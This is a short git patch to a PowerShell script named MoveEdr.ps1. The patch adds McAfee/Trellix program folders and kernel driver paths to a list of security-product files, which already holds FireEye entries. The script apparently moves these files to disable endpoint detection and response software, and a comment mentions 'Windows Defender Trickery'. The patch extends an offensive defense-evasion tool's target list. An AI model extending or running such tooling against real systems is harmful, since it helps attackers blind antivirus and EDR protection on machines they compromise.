From f6a7414b3cf6d6d055bb7e6cf21831485fc200a3 Mon Sep 17 00:00:00 2001
From: Marco Schillinger <25103418+mschillinger@users.noreply.github.com>
Date: Fri, 5 Dec 2025 09:35:10 +0100
Subject: [PATCH] Update MoveEdr.ps1

Added McAfee/Trellix to the paths
---
 MoveEdr.ps1 | 8 +++++++-
 1 file changed, 7 insertions(+), 1 deletion(-)

diff --git a/MoveEdr.ps1 b/MoveEdr.ps1
index 2ed5e2a..c7c9845 100644
--- a/MoveEdr.ps1
+++ b/MoveEdr.ps1
@@ -81,7 +81,13 @@ function MoveEdr{
 			"C:\Windows\System32\drivers\FeKern.sys",
 			"C:\Windows\System32\drivers\FeElam.sys",
 			"C:\ProgramData\FireEye\xagt\exts\MalwareProtection\sandbox\fe_avk.sys",
-			"C:\Windows\FireEye"
+			"C:\Windows\FireEye",
+
+			#McAfee/Trellix
+			"C:\Program Files\McAfee",
+			"C:\Program Files\Common Files\McAfee",
+			"C:\Windows\System32\drivers\mfeaack.sys",
+			"C:\Windows\System32\drivers\mfencbdc.sys"
 			)
 		
 		# Windows Defender Trickery